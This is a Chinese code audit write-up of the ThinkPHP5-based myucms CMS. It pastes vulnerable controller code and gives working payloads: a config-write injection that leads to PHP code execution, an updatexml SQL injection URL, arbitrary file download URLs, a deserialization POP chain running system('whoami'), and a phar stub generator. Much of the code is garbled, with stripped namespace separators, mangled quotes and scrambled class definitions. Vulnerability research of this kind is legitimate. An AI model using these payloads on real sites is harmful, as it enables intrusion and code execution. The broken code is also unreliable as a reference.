代码审计 TP5二开myucms

// 错误显示信息,非调试模式有效'error_message'// 显示错误信息'show_error_msg'=> '页面错误！请稍后再试～',=> false,// 默认全局过滤方法 用逗号分隔多个'default_filter'=> '',// URL伪静态后缀'url_html_suffix'=> 'html',

public function add(){$category = new CategoryModel();if (request()->isPost()) {$data = input('post.');$data['time'] = time();if ($category->add($data)) {return json(array('code' => 200, 'msg' => '添加成功'));} else {return json(array('code' => 0, 'msg' => '添加失败'));}}$gzc = $category->catetree();$this->assign('gzc', $gzc);return view();}

public function edit(){$category = new CategoryModel();if (request()->isPost()) {$data = input('post.');if ($category->edit($data)) {return json(array('code' => 200, 'msg' => '修改成功'));} else {return json(array('code' => 0, 'msg' => '修改失败'));}}$gzc = $category->find(input('id'));$gzcs = $category->catetree();$this->assign(array('gzcs' => $gzcs, 'gzc' => $gzc));return view();}以下这几种查询，会将语句变为数组，防止了SQL注入的产生db('category')->where('id', $change)->update(['sidebar' => 0]);if($banner->destroy(input('post.id'))){

public function upfile(){if (!session('userid') || !session('username')) {$this->error('亲！请登录',url('bbs/login/index'));} else {return json($this->model->upfile('files'));}}

public function upfile($type,$filename = 'file',$is_water = false){if (config('web.qiniuopen') == 1) {$driverConfig = array('secrectKey' => config('web.secrectKey'), 'accessKey'=> config('web.accessKey'), 'domain' => config('web.domain'), 'bucket' =>config('web.bucket'));$setting = array('rootPath' => './', 'saveName' => array('uniqid', ''),'hash' => true);$setting['exts'] = explode(',', config('web.WEB_RXT'));$setting['maxSize'] = 50 * 1024 * 1024;$File = $_FILES['file'];$Upload = new Upload($setting, 'Qiniu', $driverConfig);$info = $Upload->uploadOne($File);if ($info) {......//默认会进入else判断} else {$file = request()->file($filename);$md5 = $file->hash('md5');$n = Db::name('file')->where('md5', $md5)->find();if (empty($n)) {$info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' =>config('web.WEB_RXT')])->move(ROOT_PATH . DS . 'uploads');if ($info) {$path = DS . 'uploads' . DS . $info->getSaveName();$path = str_replace("", "/", $path);$realpath = WEB_URL . $path;$data['sha1'] = $info->sha1();$data['md5'] = $info->md5();$data['create_time'] = time();$data['uid'] = session('userid');$data['download'] = 0;$data['size'] = $info->getSize();$fileinfo = $info->getInfo();$data['name'] = $fileinfo['name'];$data['ext'] = $info->getExtension();

 $data['savepath'] = $path;$data['savename'] = $info->getFilename();$data['mime'] = $fileinfo['type'];Db::name('file')->insert($data);$res = Db::name('file')->getLastInsID();if ($res > 0) {return array('code' => 200, 'msg' => '上传成功', 'hasscore' =>0, 'ext' => $data['ext'], 'id' => $res, 'path' => $path, 'headpath' => $realpath, 'md5'=> $data['md5'], 'savename' => $data['savename'], 'filename' => $data['name'], 'info'=> $info->getInfo());} else {return array('code' => 0, 'msg' => '上传失败');}} else {return array('code' => 0, 'msg' => $file->getError());}} else {$path = $n['savepath'];$realpath = WEB_URL . $path;return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext'=> $n['ext'], 'id' => $n['id'], 'path' => $path, 'headpath' => $realpath, 'md5' =>$n['md5'], 'savename' => $n['savename'], 'filename' => $n['name'], 'info' => $n);}}

public function file($name = ''){if (empty($this->file)) {$this->file = isset($_FILES) ? $_FILES : [];}if (is_array($name)) {return $this->file = array_merge($this->file, $name);}$files = $this->file;if (!empty($files)) {// 处理上传文件$array = [];foreach ($files as $key => $file) {if (is_array($file['name'])) {$item = [];$keys = array_keys($file);$count = count($file['name']);for ($i = 0; $i < $count; $i++) {if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name'][$i])) {continue;}

 $temp['key'] = $key;foreach ($keys as $_key) {$temp[$_key] = $file[$_key][$i];}$item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);}$array[$key] = $item;} else {if ($file instanceof File) {$array[$key] = $file;} else {if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {continue;}$array[$key] = (new File($file['tmp_name']))->setUploadInfo($file);}}}if (strpos($name, '.')) {list($name, $sub) = explode('.', $name);}if ('' === $name) {// 获取全部文件return $array;} elseif (isset($sub) && isset($array[$name][$sub])) {return $array[$name][$sub];} elseif (isset($array[$name])) {return $array[$name];}}return;

$info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' => config('web.WEB_RXT')])->move(ROOT_PATH . DS . 'uploads');

WEB_RXT'=>'rar,png,zip,jpg,gif,ico'如果验证成功会在move方法进行文件上传/* 移动文件 */if ($this->isTest) {rename($this->filename, $filename);} elseif (!move_uploaded_file($this->filename, $filename)) {$this->error = 'upload write error';return false;}

public function add(){$path = 'application/extra/web.php';$file = include $path;$config = array('WEB_RXT' => input('WEB_RXT'),'WEB_GL' => input('WEB_GL'),'WEB_REG' => input('WEB_REG'),'WEB_TAG' => input('WEB_TAG'),'WEB_OPE' => input('WEB_OPE'),'WEB_BUG' => input('WEB_BUG'),'WEB_BBS' => input('WEB_BBS'),'WEB_SHOP' => input('WEB_SHOP'),'WEB_INDEX' => input('WEB_INDEX'),'WEB_KEJIAN' => input('WEB_KEJIAN'),'WEB_KEJIANS' => input('WEB_KEJIANS'),'Cascade' => input('Cascade'),//七牛'bucket' => input('bucket'),'accessKey' => input('accessKey'),'secrectKey' => input('secrectKey'),'domain' => input('domain'),'qiniuopen' => input('qiniuopen'),);$res = array_merge($file, $config);$str = '<?php return [';foreach ($res as $key => $value) {$str .= ''' . $key . ''' . '=>' . ''' . $value . ''' . ',';}$str .= ']; ';if (file_put_contents($path, $str)) {return json(array('code' => 200, 'msg' => '修改成功'));} else {return json(array('code' => 0, 'msg' => '修改失败'));}

public function addqq(){$path = 'application/extra/qq.php';$file = include $path;$config = array('qq-appid' => input('qq-appid'),'qq-appkey' => input('qq-appkey'),'qq-callback' => input('qq-callback'),);$res = array_merge($file, $config);$str = '<?php return [';foreach ($res as $key => $value) {$str .= ''' . $key . ''' . '=>' . ''' . $value . ''' . ',';}$str .= ']; ';if (file_put_contents($path, $str)) {return json(array('code' => 200, 'msg' => '修改成功'));} else {return json(array('code' => 0, 'msg' => '修改失败'));}}

GET:http://192.168.0.100:81/admin.php/config/addqq.htmlPOST:qq-appid=0000&qq-appkey=00000&qq-callback=http://www.xxx.com/index/qq/qqcb.html',file_put_contents("NaMi.php","success")];/

<?php return ['qq-appid'=>'0000','qq-appkey'=>'00000','qq-callback'=>'http://www.xxx.com/index/qq/qqcb.html',file_put_contents("NaMi.php","success")

public function upimage(){if (!session('userid') || !session('username')) {$this->error('亲！请登录',url('bbs/login/index'));} else {return json($this->model->upfile('images'));}}public function upfile(){if (!session('userid') || !session('username')) {$this->error('亲！请登录',url('bbs/login/index'));} else {return json($this->model->upfile('files'));}}

public function doUploadPic(){$file = request()->file('FileName');$info = $file->move(ROOT_PATH . DS . 'uploads');if($info){$path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName();echo str_replace("","/",$path);}}

public function move($path, $savename = true, $replace = true){// 文件上传失败，捕获错误代码if (!empty($this->info['error'])) {$this->error($this->info['error']);return false;}// 检测合法性if (!$this->isValid()) {$this->error = 'upload illegal files';return false;}// 验证上传if (!$this->check()) {return false;}$path = rtrim($path, DS) . DS;// 文件保存命名规则$saveName = $this->buildSaveName($savename);$filename = $path . $saveName;// 检测目录if (false === $this->checkPath(dirname($filename))) {return false;}// 不覆盖同名文件if (!$replace && is_file($filename)) {$this->error = ['has the same filename: {:filename}', ['filename' =>$filename]];return false;}/* 移动文件 */if ($this->isTest) {rename($this->filename, $filename);} elseif (!move_uploaded_file($this->filename, $filename)) {$this->error = 'upload write error';return false;}// 返回 File 对象实例$file = new self($filename);$file->setSaveName($saveName)->setUploadInfo($this->info);return $file;}

public function un(){$info = $_GET['info'];$res=deleteun(ROOT_PATH.'application/bbs/view'.DS.$info);if ($res) {return json(array('code' => 200, 'msg' => '删除成功'));}else{return json(array('code' => 0, 'msg' => '删除失败'));}}

//循环删除目录和文件函数function deleteun($dir_name){$result = false;if (is_dir($dir_name)) {if ($handle = opendir($dir_name)) {while (false !== ($item = readdir($handle))) {if ($item != '.' && $item != '..') {if (is_dir($dir_name . DS . $item)) {deleteun($dir_name . DS . $item);} else {unlink($dir_name . DS . $item);}}}closedir($handle);if (rmdir($dir_name)) {$result = true;}}}return $result;}

public function xiaoxidel($ids){if (!session('userid') || !session('username')) {$this->error('亲！请登录',url('bbs/login/index'));} else {if ($ids==0) {$id = input('id');$data['open'] = 1;if (Db::name('xiaoxi')->where("id = {$id}")->where('userid',session('userid'))->update($data)) {return json(array('code' => 200, 'msg' => '标记已读成功'));} else {return json(array('code' => 0, 'msg' => '标记已读失败'));}}elseif ($ids==1){$id = input('id');if (Db::name('xiaoxi')->where("id = {$id}")->where('userid',session('userid'))->delete($id)) {return json(array('code' => 200, 'msg' => '彻底删除成功'));} else {return json(array('code' => 0, 'msg' => '彻底删除失败'));}}}}

if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) {if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {

/index.php/bbs/user/xiaoxidel/ids/0/id/1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)

public function bankuai(){$id = input('id');if (empty($id)) {return $this->error('亲！你迷路了');} else {$category = Db::name('category');$c = $category->where("id = {$id}")->find();在 application/shop/controller/Index.php/grid 列表功能public function grid($or){$or = input('or');$this->assign('or', $or);$id = input('id');$this->assign('id', $id);if (empty($id)) {$open['open'] = 1;$gzc = Db::name('shops')->alias('f')->join('shopcate c', 'c.id=f.tid')->join('member m', 'm.userid=f.uid')->field('f.*,c.id ascid,m.userid,m.userhead,m.username,c.name,c.description')->where($open)->order('f.settop desc , f.'.$or.' desc') -> paginate(16,false,['query' => request()->param()]);$this->assign('gzc', $gzc);$shopcate = Db::name('shopcate');$gzcz = $shopcate->where("tid = 0")->order('sort desc')->select();$gjmz = $shopcate->where("tid != 0")->order('sort desc')->select();$this->assign('gzcz', $gzcz);$this->assign('gjmz', $gjmz);$ids = -1;$this->assign('ids', $ids);} else {$shopcate = Db::name('shopcate');$c = $shopcate->where("id = {$id}")->find();if ($c) {$shopcate = Db::name('shopcate');$gzcz = $shopcate->where("tid = 0")->order('sort desc')->select();$gjmzt = $shopcate->where("id = {$id}")->value('tid');

public function download($url, $name, $local){$down = new Http();if ($local == 1) {$down->download($url, $name);} else {}}调用了 HTTP->download ，跟踪这个类。判断是否是个文件，然后读取内容下载文件static public function download ($filename, $showname='',$content='',$expire=180) {if(is_file($filename)) {$length = filesize($filename);}elseif($content != '') {$length = strlen($content);}else {

 throw_exception($filename.L('下载文件不存在！'));}if(empty($showname)) {$showname = $filename;}$showname = basename($showname);if(!empty($filename)) {$type = mime_content_type($filename);}else{$type= "application/octet-stream";}//发送Http Header信息 开始下载header("Pragma: public");header("Cache-control: max-age=".$expire);//header('Cache-Control: no-store, no-cache, must-revalidate');header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");header("Content-Disposition: attachment; filename=".$showname);header("Content-Length: ".$length);header("Content-type: ".$type);header('Content-Encoding: none');header("Content-Transfer-Encoding: binary" );if($content == '' ) {readfile($filename);}else {echo($content);}exit();}

http://localhost:81/index.php/bbs/index/download/url/index.php/name/index.php/local/1http://localhost:81/index.php/bbs/index/download?url=thinkphp/start.php&name=&local=1

public function sj(){$xiazai = $_POST['title'];$url=$xiazai.urlencode(iconv("GB2312","UTF-8",""));$save_dir = 'runtime/myucms/';$filename ='shengji.zip';$res = getFile($url, $save_dir, $filename,0);return json(array('code' => 200, 'msg' => '升级成功'));}

function getFile($url, $save_dir = '', $filename = '', $type = 0) {if (trim($url) == '') {return false;}if (trim($save_dir) == '') {$save_dir = './';}if (0 !== strrpos($save_dir, '/')) {$save_dir.= '/';}if (!file_exists($save_dir) && !mkdir($save_dir, 0777, true)) {

 return false;}if ($type) {$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$content = curl_exec($ch);curl_close($ch);} else {ob_start();readfile($url);$content = ob_get_contents();ob_end_clean();}$size = strlen($content);$fp2 = @fopen($save_dir . $filename, 'a');fwrite($fp2, $content);fclose($fp2);unset($content, $url);}

public function ad(){$zip = new ZipArchive;if ($zip->open('runtime/myucms/shengji.zip') === TRUE){$zip->extractTo('application');$zip->close();unlink('runtime/myucms/shengji.zip');header("content-type:text/html;charset=utf-8");header('location:/admin.php/index/home.html');}}

<?phpnamespace thinkprocesspipes{use thinkmodelPivot;ini_set('display_errors',1);class Windows{private $files = [];public function __construct($function,$parameter){$this->files = [new Pivot($function,$parameter)];}}$aaa = new Windows('system','whoami');echo base64_encode(serialize($aaa));}namespace think{abstract class Model{}}namespace thinkmodel{use thinkModel;use thinkconsoleOutput;class Pivot extends Model{protected $append = [];protected $error;public $parent;public function __construct($function,$parameter){$this->append['jelly'] = 'getError';$this->error = new relationBelongsTo($function,$parameter);$this->parent = new Output($function,$parameter);}}abstract class Relation{}}namespace thinkmodelrelation{use thinkdbQuery;use thinkmodelRelation;abstract class OneToOne extends Relationclass BelongsTo extends OneToOne{{}protected $selfRelation;protected $query;protected $bindAttr = [];public function __construct($function,$parameter){$this->selfRelation = false;$this->query = new Query($function,$parameter);$this->bindAttr = [''];}}}namespace thinkdb{use thinkconsoleOutput;class Query{protected $model;public function __construct($function,$parameter){}$this->model = new Output($function,$parameter);}}namespace thinkconsole{use thinksessiondriverMemcache;class Output{protected $styles = [];private $handle;public function __construct($function,$parameter){$this->styles = ['getAttr'];$this->handle = new Memcache($function,$parameter);}}

 }namespace thinksessiondriver{use thinkcachedriverMemcached;class Memcache{protected $handler = null;protected $config = ['expire'=> '','session_name' => '',];public function __construct($function,$parameter){$this->handler = new Memcached($function,$parameter);}}}namespace thinkcachedriver{use thinkRequest;class Memcached{protected $handler;protected $options = [];protected $tag;public function __construct($function,$parameter){$this->options = ['prefix' => 'jelly/'];$this->tag = true;$this->handler = new Request($function,$parameter);}}}namespace think{class Request{protected $get= [];protected $filter;public function __construct($function,$parameter){$this->filter = $function;$this->get = ["jelly"=>$parameter];}}}

static public function download ($filename, $showname='',$content='',$expire=180) {if(is_file($filename)) {$length = filesize($filename);}elseif($content != '') {

 $length = strlen($content);}else {throw_exception($filename.L('下载文件不存在！'));}if(empty($showname)) {$showname = $filename;}$showname = basename($showname);if(!empty($filename)) {$type = mime_content_type($filename);}else{$type= "application/octet-stream";}//发送Http Header信息 开始下载header("Pragma: public");header("Cache-control: max-age=".$expire);//header('Cache-Control: no-store, no-cache, must-revalidate');header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");header("Content-Disposition: attachment; filename=".$showname);header("Content-Length: ".$length);header("Content-type: ".$type);header('Content-Encoding: none');header("Content-Transfer-Encoding: binary" );if($content == '' ) {readfile($filename);}else {echo($content);}exit();}

$phar = new Phar('phar.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$object = new AnyClass();$phar -> setMetadata($object);$phar -> stopBuffering();